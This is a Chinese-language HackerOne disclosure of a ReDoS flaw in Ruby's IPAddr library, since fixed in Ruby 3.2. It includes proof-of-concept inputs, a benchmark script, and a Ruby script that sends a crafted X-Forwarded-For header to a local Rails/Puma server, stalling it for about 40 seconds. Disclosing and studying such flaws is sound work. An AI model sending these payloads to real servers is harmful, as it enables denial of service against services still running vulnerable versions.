Ruby | 报告 #1485717 - IPAddr 中的 ReDoS 漏洞 | HackerOne
漏洞概述
在 Ruby 的 IPAddr 库中发现了一个正则表达式拒绝服务(ReDoS)漏洞。该漏洞源于 IPAddr.new 方法中使用的正则表达式模式 /\A(0|[1-9]+\d*)\z/,在处理特定构造的输入时会导致性能急剧下降。
漏洞详情
漏洞代码位置
https://github.com/ruby/ipaddr/blob/v1.2.4/lib/ipaddr.rb#L525
1
2
3
4
5
6
|
def mask!(mask)
case mask
when String
case mask
when /\A(0|[1-9]+\d*)\z/
prefixlen = mask.to_i
|
正则表达式 /\A(0|[1-9]+\d*)\z/ 存在漏洞,该结果由 recheck 工具检测确认(https://makenowjust-labs.github.io/recheck/)。
相关代码
https://github.com/ruby/ipaddr/blob/v1.2.4/lib/ipaddr.rb#L628
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
def initialize(addr = '::', family = Socket::AF_UNSPEC)
...
prefix, prefixlen = addr.split('/', 2)
if prefix =~ /\A(.*)(%\w+)\z/
prefix = $1
zone_id = $2
family = Socket::AF_INET6
end
...
if prefixlen
mask!(prefixlen)
else
@mask_addr = (@family == Socket::AF_INET) ? IN4MASK : IN6MASK
end
end
|
mask! 方法在 IPAddr.new 中被调用。
漏洞验证(PoC)
1
2
3
4
5
6
7
8
|
❯ ruby -v
ruby 3.1.1p18 (2022-02-18 revision 53f5fc4236) [arm64-darwin20]
❯ irb
irb(main):001:0> require 'time'
=> true
irb(main):002:0> IPAddr.new("0.0.0.0/" + '1' * 50000 + '.')
# => ReDoS (and raise ArgumentError)
|
该漏洞也影响 coerce_other 方法,因此会影响其他相关方法:
1
2
3
4
|
IPAddr.new("192.168.2.0/24").include?("0.0.0.0/" + '1' * 50000 + '.' )
IPAddr.new("192.168.2.0/24") == "0.0.0.0/" + '1' * 50000 + '.'
IPAddr.new("192.168.2.0/24") | "0.0.0.0/" + '1' * 50000 + '.'
IPAddr.new("192.168.2.0/24") & "0.0.0.0/" + '1' * 50000 + '.'
|
性能基准测试
ipaddr_benchmark.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
require 'benchmark'
require 'ipaddr'
def ipaddr_new(length)
text = "0.0.0.0/" + '1' * length + '.'
IPAddr.new(text)
rescue IPAddr::InvalidAddressError
nil
end
Benchmark.bm do |x|
x.report { ipaddr_new(100) }
x.report { ipaddr_new(1000) }
x.report { ipaddr_new(10000) }
x.report { ipaddr_new(100000) }
end
|
测试结果:
1
2
3
4
5
6
|
❯ bundle exec ruby ipaddr_benchmark.rb
user system total real
0.000056 0.000003 0.000059 ( 0.000055)
0.002921 0.000003 0.002924 ( 0.002968)
0.300863 0.000694 0.301557 ( 0.302580)
31.050866 0.103006 31.153872 ( 31.255489)
|
Rails 框架影响
由于 ActionDispatch::RemoteIp 使用了该功能,可以通过自定义标头进行攻击。
https://github.com/rails/rails/blob/v7.0.2.2/actionpack/lib/action_dispatch/middleware/remote_ip.rb#L172
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
private
def ips_from(header) # :doc:
return [] unless header
# Split the comma-separated list into an array of strings.
ips = header.strip.split(/[,\s]+/)
ips.select do |ip|
# Only return IPs that are valid according to the IPAddr#new method.
range = IPAddr.new(ip).to_range
# We want to make sure nobody is sneaking a netmask in.
range.begin == range.end
rescue ArgumentError
nil
end
end
|
Rails PoC
创建 Rails 服务器:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
❯ rails new rails_server -G -M -O -C -A -J -T
❯ cd rails_server
❯ bundle exec rails s
=> Booting Puma
=> Rails 7.0.2.2 application starting in development
=> Run `bin/rails server --help` for more startup options
Puma starting in single mode...
* Puma version: 5.6.2 (ruby 3.1.1-p18) ("Birdie's Version")
* Min threads: 5
* Max threads: 5
* Environment: development
* PID: 13989
* Listening on http://127.0.0.1:3000
* Listening on http://[::1]:3000
|
ipaddr_request.rb
1
2
3
4
5
6
7
8
9
10
11
|
require 'net/http'
url = URI.parse('http://127.0.0.1:3000/')
req = Net::HTTP::Get.new(url.path)
req['X-Forwarded-For'] = "0.0.0.0/" + '1' * 80000 + '.'
res = Net::HTTP.start(url.host, url.port) {|http|
http.request(req)
}
|
执行时间:
1
2
|
❯ time bundle exec ruby ipaddr_request.rb
bundle exec ruby ipaddr_request.rb 0.18s user 0.08s system 0% cpu 40.302 total
|
影响范围
当 IPAddr.new 接受用户输入时会发生 ReDoS 攻击。
Rails 默认使用 ActionDispatch::RemoteIp,因此可以通过客户端请求进行攻击。
如果使用 nginx 等,标头长度限制约为 8k 字节,因此受影响较小(https://stackoverflow.com/questions/686217/maximum-on-http-header-values)。
另一方面,Puma 容易受到影响,因为它可以使用高达 80 * 1024 的标头长度。
修复状态
Ruby 3.2.0 基准测试
ReDoS 不再发生:
1
2
3
4
5
6
7
|
# Ruby 3.2.0
❯ bundle exec ruby ipaddr_benchmark.rb
user system total real
0.000033 0.000001 0.000034 ( 0.000031)
0.000056 0.000077 0.000133 ( 0.000134)
0.000385 0.000050 0.000435 ( 0.000435)
0.003579 0.000456 0.004035 ( 0.004035)
|
Ruby 3.3.0 基准测试
ReDoS 不再发生:
1
2
3
4
5
6
7
8
|
# Ruby 3.3.0
❯ ruby ipaddr_benchmark.rb
user system total real
0.000044 0.000008 0.000052 ( 0.000051)
0.000073 0.000007 0.000080 ( 0.000079)
0.000565 0.000050 0.000615 ( 0.000614)
0.005460 0.000551 0.006011 ( 0.006022)
|
解决方案
该问题已通过 Ruby 3.2 的正则表达式优化得到解决,且 Ruby 3.1 现已终止支持(EOL)。无需进一步处理。
报告状态:已解决(Resolved)
披露时间:2025年7月8日
CVE ID:无
赏金:无